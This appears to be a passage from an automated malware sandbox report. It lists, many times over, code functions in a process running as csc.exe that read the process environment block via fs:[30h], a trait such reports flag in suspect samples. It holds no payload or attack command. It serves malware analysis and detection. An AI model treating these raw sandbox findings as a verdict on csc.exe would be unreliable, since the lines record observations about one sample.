Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A1460 mov eax, dword ptr fs:[00000030h]	14_2_053A1460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A1460 mov eax, dword ptr fs:[00000030h]	14_2_053A1460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A1460 mov eax, dword ptr fs:[00000030h]	14_2_053A1460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053BF460 mov eax, dword ptr fs:[00000030h]	14_2_053BF460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053BF460 mov eax, dword ptr fs:[00000030h]	14_2_053BF460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053BF460 mov eax, dword ptr fs:[00000030h]	14_2_053BF460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053BF460 mov eax, dword ptr fs:[00000030h]	14_2_053BF460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053BF460 mov eax, dword ptr fs:[00000030h]	14_2_053BF460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053BF460 mov eax, dword ptr fs:[00000030h]	14_2_053BF460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539645D mov eax, dword ptr fs:[00000030h]	14_2_0539645D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C245A mov eax, dword ptr fs:[00000030h]	14_2_053C245A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053AB440 mov eax, dword ptr fs:[00000030h]	14_2_053AB440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053AB440 mov eax, dword ptr fs:[00000030h]	14_2_053AB440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053AB440 mov eax, dword ptr fs:[00000030h]	14_2_053AB440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053AB440 mov eax, dword ptr fs:[00000030h]	14_2_053AB440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053AB440 mov eax, dword ptr fs:[00000030h]	14_2_053AB440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053AB440 mov eax, dword ptr fs:[00000030h]	14_2_053AB440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DE443 mov eax, dword ptr fs:[00000030h]	14_2_053DE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DE443 mov eax, dword ptr fs:[00000030h]	14_2_053DE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DE443 mov eax, dword ptr fs:[00000030h]	14_2_053DE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DE443 mov eax, dword ptr fs:[00000030h]	14_2_053DE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DE443 mov eax, dword ptr fs:[00000030h]	14_2_053DE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DE443 mov eax, dword ptr fs:[00000030h]	14_2_053DE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DE443 mov eax, dword ptr fs:[00000030h]	14_2_053DE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DE443 mov eax, dword ptr fs:[00000030h]	14_2_053DE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D34B0 mov eax, dword ptr fs:[00000030h]	14_2_053D34B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D44B0 mov ecx, dword ptr fs:[00000030h]	14_2_053D44B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A64AB mov eax, dword ptr fs:[00000030h]	14_2_053A64AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054754DB mov eax, dword ptr fs:[00000030h]	14_2_054754DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054494E0 mov eax, dword ptr fs:[00000030h]	14_2_054494E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539B480 mov eax, dword ptr fs:[00000030h]	14_2_0539B480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A9486 mov eax, dword ptr fs:[00000030h]	14_2_053A9486
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A9486 mov eax, dword ptr fs:[00000030h]	14_2_053A9486
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A04E5 mov ecx, dword ptr fs:[00000030h]	14_2_053A04E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0542A4B0 mov eax, dword ptr fs:[00000030h]	14_2_0542A4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A973A mov eax, dword ptr fs:[00000030h]	14_2_053A973A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A973A mov eax, dword ptr fs:[00000030h]	14_2_053A973A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D273C mov eax, dword ptr fs:[00000030h]	14_2_053D273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D273C mov ecx, dword ptr fs:[00000030h]	14_2_053D273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D273C mov eax, dword ptr fs:[00000030h]	14_2_053D273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05399730 mov eax, dword ptr fs:[00000030h]	14_2_05399730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05399730 mov eax, dword ptr fs:[00000030h]	14_2_05399730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D5734 mov eax, dword ptr fs:[00000030h]	14_2_053D5734
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05473749 mov eax, dword ptr fs:[00000030h]	14_2_05473749
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05424755 mov eax, dword ptr fs:[00000030h]	14_2_05424755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A3720 mov eax, dword ptr fs:[00000030h]	14_2_053A3720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053BF720 mov eax, dword ptr fs:[00000030h]	14_2_053BF720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053BF720 mov eax, dword ptr fs:[00000030h]	14_2_053BF720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053BF720 mov eax, dword ptr fs:[00000030h]	14_2_053BF720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DC720 mov eax, dword ptr fs:[00000030h]	14_2_053DC720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DC720 mov eax, dword ptr fs:[00000030h]	14_2_053DC720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DF71F mov eax, dword ptr fs:[00000030h]	14_2_053DF71F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DF71F mov eax, dword ptr fs:[00000030h]	14_2_053DF71F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A0710 mov eax, dword ptr fs:[00000030h]	14_2_053A0710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D0710 mov eax, dword ptr fs:[00000030h]	14_2_053D0710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A5702 mov eax, dword ptr fs:[00000030h]	14_2_053A5702
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A5702 mov eax, dword ptr fs:[00000030h]	14_2_053A5702
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A7703 mov eax, dword ptr fs:[00000030h]	14_2_053A7703
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DC700 mov eax, dword ptr fs:[00000030h]	14_2_053DC700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A8770 mov eax, dword ptr fs:[00000030h]	14_2_053A8770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0770 mov eax, dword ptr fs:[00000030h]	14_2_053B0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0770 mov eax, dword ptr fs:[00000030h]	14_2_053B0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0770 mov eax, dword ptr fs:[00000030h]	14_2_053B0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0770 mov eax, dword ptr fs:[00000030h]	14_2_053B0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0770 mov eax, dword ptr fs:[00000030h]	14_2_053B0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0770 mov eax, dword ptr fs:[00000030h]	14_2_053B0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0770 mov eax, dword ptr fs:[00000030h]	14_2_053B0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0770 mov eax, dword ptr fs:[00000030h]	14_2_053B0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0770 mov eax, dword ptr fs:[00000030h]	14_2_053B0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0770 mov eax, dword ptr fs:[00000030h]	14_2_053B0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0770 mov eax, dword ptr fs:[00000030h]	14_2_053B0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0770 mov eax, dword ptr fs:[00000030h]	14_2_053B0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539B765 mov eax, dword ptr fs:[00000030h]	14_2_0539B765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539B765 mov eax, dword ptr fs:[00000030h]	14_2_0539B765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539B765 mov eax, dword ptr fs:[00000030h]	14_2_0539B765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539B765 mov eax, dword ptr fs:[00000030h]	14_2_0539B765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A0750 mov eax, dword ptr fs:[00000030h]	14_2_053A0750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0545F72E mov eax, dword ptr fs:[00000030h]	14_2_0545F72E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0546972B mov eax, dword ptr fs:[00000030h]	14_2_0546972B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2750 mov eax, dword ptr fs:[00000030h]	14_2_053E2750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2750 mov eax, dword ptr fs:[00000030h]	14_2_053E2750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D674D mov esi, dword ptr fs:[00000030h]	14_2_053D674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D674D mov eax, dword ptr fs:[00000030h]	14_2_053D674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D674D mov eax, dword ptr fs:[00000030h]	14_2_053D674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0541C730 mov eax, dword ptr fs:[00000030h]	14_2_0541C730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B3740 mov eax, dword ptr fs:[00000030h]	14_2_053B3740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B3740 mov eax, dword ptr fs:[00000030h]	14_2_053B3740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B3740 mov eax, dword ptr fs:[00000030h]	14_2_053B3740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0547B73C mov eax, dword ptr fs:[00000030h]	14_2_0547B73C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0547B73C mov eax, dword ptr fs:[00000030h]	14_2_0547B73C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0547B73C mov eax, dword ptr fs:[00000030h]	14_2_0547B73C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0547B73C mov eax, dword ptr fs:[00000030h]	14_2_0547B73C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054207C3 mov eax, dword ptr fs:[00000030h]	14_2_054207C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539F7BA mov eax, dword ptr fs:[00000030h]	14_2_0539F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539F7BA mov eax, dword ptr fs:[00000030h]	14_2_0539F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539F7BA mov eax, dword ptr fs:[00000030h]	14_2_0539F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539F7BA mov eax, dword ptr fs:[00000030h]	14_2_0539F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539F7BA mov eax, dword ptr fs:[00000030h]	14_2_0539F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539F7BA mov eax, dword ptr fs:[00000030h]	14_2_0539F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539F7BA mov eax, dword ptr fs:[00000030h]	14_2_0539F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539F7BA mov eax, dword ptr fs:[00000030h]	14_2_0539F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539F7BA mov eax, dword ptr fs:[00000030h]	14_2_0539F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CD7B0 mov eax, dword ptr fs:[00000030h]	14_2_053CD7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A07AF mov eax, dword ptr fs:[00000030h]	14_2_053A07AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A47FB mov eax, dword ptr fs:[00000030h]	14_2_053A47FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A47FB mov eax, dword ptr fs:[00000030h]	14_2_053A47FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0545F78A mov eax, dword ptr fs:[00000030h]	14_2_0545F78A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C27ED mov eax, dword ptr fs:[00000030h]	14_2_053C27ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C27ED mov eax, dword ptr fs:[00000030h]	14_2_053C27ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C27ED mov eax, dword ptr fs:[00000030h]	14_2_053C27ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053AD7E0 mov ecx, dword ptr fs:[00000030h]	14_2_053AD7E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054297A9 mov eax, dword ptr fs:[00000030h]	14_2_054297A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0542F7AF mov eax, dword ptr fs:[00000030h]	14_2_0542F7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0542F7AF mov eax, dword ptr fs:[00000030h]	14_2_0542F7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0542F7AF mov eax, dword ptr fs:[00000030h]	14_2_0542F7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0542F7AF mov eax, dword ptr fs:[00000030h]	14_2_0542F7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0542F7AF mov eax, dword ptr fs:[00000030h]	14_2_0542F7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054737B6 mov eax, dword ptr fs:[00000030h]	14_2_054737B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053AC7C0 mov eax, dword ptr fs:[00000030h]	14_2_053AC7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A57C0 mov eax, dword ptr fs:[00000030h]	14_2_053A57C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A57C0 mov eax, dword ptr fs:[00000030h]	14_2_053A57C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A57C0 mov eax, dword ptr fs:[00000030h]	14_2_053A57C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A262C mov eax, dword ptr fs:[00000030h]	14_2_053A262C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053BE627 mov eax, dword ptr fs:[00000030h]	14_2_053BE627
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D6620 mov eax, dword ptr fs:[00000030h]	14_2_053D6620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D8620 mov eax, dword ptr fs:[00000030h]	14_2_053D8620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539F626 mov eax, dword ptr fs:[00000030h]	14_2_0539F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539F626 mov eax, dword ptr fs:[00000030h]	14_2_0539F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539F626 mov eax, dword ptr fs:[00000030h]	14_2_0539F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539F626 mov eax, dword ptr fs:[00000030h]	14_2_0539F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539F626 mov eax, dword ptr fs:[00000030h]	14_2_0539F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539F626 mov eax, dword ptr fs:[00000030h]	14_2_0539F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539F626 mov eax, dword ptr fs:[00000030h]	14_2_0539F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539F626 mov eax, dword ptr fs:[00000030h]	14_2_0539F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539F626 mov eax, dword ptr fs:[00000030h]	14_2_0539F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2619 mov eax, dword ptr fs:[00000030h]	14_2_053E2619
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0546866E mov eax, dword ptr fs:[00000030h]	14_2_0546866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0546866E mov eax, dword ptr fs:[00000030h]	14_2_0546866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A3616 mov eax, dword ptr fs:[00000030h]	14_2_053A3616
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A3616 mov eax, dword ptr fs:[00000030h]	14_2_053A3616
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B260B mov eax, dword ptr fs:[00000030h]	14_2_053B260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B260B mov eax, dword ptr fs:[00000030h]	14_2_053B260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B260B mov eax, dword ptr fs:[00000030h]	14_2_053B260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B260B mov eax, dword ptr fs:[00000030h]	14_2_053B260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B260B mov eax, dword ptr fs:[00000030h]	14_2_053B260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B260B mov eax, dword ptr fs:[00000030h]	14_2_053B260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B260B mov eax, dword ptr fs:[00000030h]	14_2_053B260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D1607 mov eax, dword ptr fs:[00000030h]	14_2_053D1607
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DF603 mov eax, dword ptr fs:[00000030h]	14_2_053DF603
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0541E609 mov eax, dword ptr fs:[00000030h]	14_2_0541E609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D2674 mov eax, dword ptr fs:[00000030h]	14_2_053D2674
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DA660 mov eax, dword ptr fs:[00000030h]	14_2_053DA660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DA660 mov eax, dword ptr fs:[00000030h]	14_2_053DA660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D9660 mov eax, dword ptr fs:[00000030h]	14_2_053D9660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D9660 mov eax, dword ptr fs:[00000030h]	14_2_053D9660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05475636 mov eax, dword ptr fs:[00000030h]	14_2_05475636
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053BC640 mov eax, dword ptr fs:[00000030h]	14_2_053BC640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0545F6C7 mov eax, dword ptr fs:[00000030h]	14_2_0545F6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054616CC mov eax, dword ptr fs:[00000030h]	14_2_054616CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054616CC mov eax, dword ptr fs:[00000030h]	14_2_054616CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054616CC mov eax, dword ptr fs:[00000030h]	14_2_054616CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054616CC mov eax, dword ptr fs:[00000030h]	14_2_054616CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053976B2 mov eax, dword ptr fs:[00000030h]	14_2_053976B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053976B2 mov eax, dword ptr fs:[00000030h]	14_2_053976B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053976B2 mov eax, dword ptr fs:[00000030h]	14_2_053976B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D66B0 mov eax, dword ptr fs:[00000030h]	14_2_053D66B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539D6AA mov eax, dword ptr fs:[00000030h]	14_2_0539D6AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539D6AA mov eax, dword ptr fs:[00000030h]	14_2_0539D6AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DC6A6 mov eax, dword ptr fs:[00000030h]	14_2_053DC6A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A4690 mov eax, dword ptr fs:[00000030h]	14_2_053A4690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A4690 mov eax, dword ptr fs:[00000030h]	14_2_053A4690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054336EE mov eax, dword ptr fs:[00000030h]	14_2_054336EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054336EE mov eax, dword ptr fs:[00000030h]	14_2_054336EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054336EE mov eax, dword ptr fs:[00000030h]	14_2_054336EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054336EE mov eax, dword ptr fs:[00000030h]	14_2_054336EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054336EE mov eax, dword ptr fs:[00000030h]	14_2_054336EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054336EE mov eax, dword ptr fs:[00000030h]	14_2_054336EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0541E6F2 mov eax, dword ptr fs:[00000030h]	14_2_0541E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0541E6F2 mov eax, dword ptr fs:[00000030h]	14_2_0541E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0541E6F2 mov eax, dword ptr fs:[00000030h]	14_2_0541E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0541E6F2 mov eax, dword ptr fs:[00000030h]	14_2_0541E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054206F1 mov eax, dword ptr fs:[00000030h]	14_2_054206F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054206F1 mov eax, dword ptr fs:[00000030h]	14_2_054206F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0545D6F0 mov eax, dword ptr fs:[00000030h]	14_2_0545D6F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0542368C mov eax, dword ptr fs:[00000030h]	14_2_0542368C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0542368C mov eax, dword ptr fs:[00000030h]	14_2_0542368C
